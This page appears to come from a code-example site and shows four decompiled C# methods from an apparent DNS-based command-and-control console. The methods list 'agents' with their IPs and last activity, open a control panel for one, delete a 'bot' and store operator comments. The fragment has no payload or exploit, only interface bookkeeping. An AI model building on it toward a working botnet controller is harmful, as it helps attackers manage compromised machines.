コード例 #1
0
        // Token: 0x06000048 RID: 72 RVA: 0x00003758 File Offset: 0x00001958
        public void loadDnsAgents()
        {
            this.dnsAgents.Clear();
            Utility.create_path(Settings.dns_agent_path);
            string[] directories = Directory.GetDirectories(Settings.dns_agent_path);
            int      num         = 0;

            foreach (string text in directories)
            {
                num++;
                agent agent = new agent();
                agent.count        = num;
                agent.id           = text.Remove(0, Settings.dns_agent_path.Length + 1);
                agent.ip           = Utility.file_reader(text + "\\ip");
                agent.lastActivity = this.Timer(Settings.dns_agent_path + "\\" + agent.id + "\\last");
                agent.comment      = Utility.file_reader(Settings.dns_agent_path + "\\" + agent.id + "\\comment");
                bool flag = agent.comment == "-1";
                if (flag)
                {
                    agent.comment = "new agent";
                }
                this.dnsAgents.Add(agent);
            }
            this.agetnsGrid.ItemsSource = null;
            this.agetnsGrid.ItemsSource = this.dnsAgents;
            this.agent_counts.Content   = this.dnsAgents.Count;
        }
コード例 #2
0
 // Token: 0x06000049 RID: 73 RVA: 0x000038B0 File Offset: 0x00001AB0
 private void Row_DoubleClick(object sender, MouseButtonEventArgs e)
 {
     try
     {
         agent        agent        = (agent)this.agetnsGrid.SelectedItem;
         controlPanel controlPanel = new controlPanel(agent.id, agent.ip, agent.lastActivity);
         controlPanel.Show();
     }
     catch (Exception ex)
     {
         MessageBox.Show(ex.ToString());
     }
 }
コード例 #3
0
 // Token: 0x0600004A RID: 74 RVA: 0x00003914 File Offset: 0x00001B14
 private void delete_this_bot(object sender, RoutedEventArgs e)
 {
     try
     {
         agent agent = (agent)this.agetnsGrid.SelectedItem;
         bool  flag  = Utility.copy_entire_path(Settings.dns_agent_path + "\\" + agent.id, Settings.app_root_path + "\\recycle_bin\\" + agent.id);
         if (flag)
         {
             Utility.delete_entire_path(Settings.dns_agent_path + "\\" + agent.id);
         }
         this.loadDnsAgents();
     }
     catch (Exception ex)
     {
         MessageBox.Show(ex.ToString());
     }
 }
コード例 #4
0
        // Token: 0x0600004C RID: 76 RVA: 0x000039C0 File Offset: 0x00001BC0
        private void OnKeyDownHandlerComment(object sender, KeyEventArgs e)
        {
            bool flag = e.Key == Key.Return;

            if (flag)
            {
                try
                {
                    agent  agent = (agent)this.agetnsGrid.SelectedItem;
                    string text  = ((TextBox)sender).Text;
                    Utility.write_file(text, Settings.dns_agent_path + "\\" + agent.id + "\\comment");
                }
                catch (Exception ex)
                {
                    MessageBox.Show(ex.ToString());
                }
            }
        }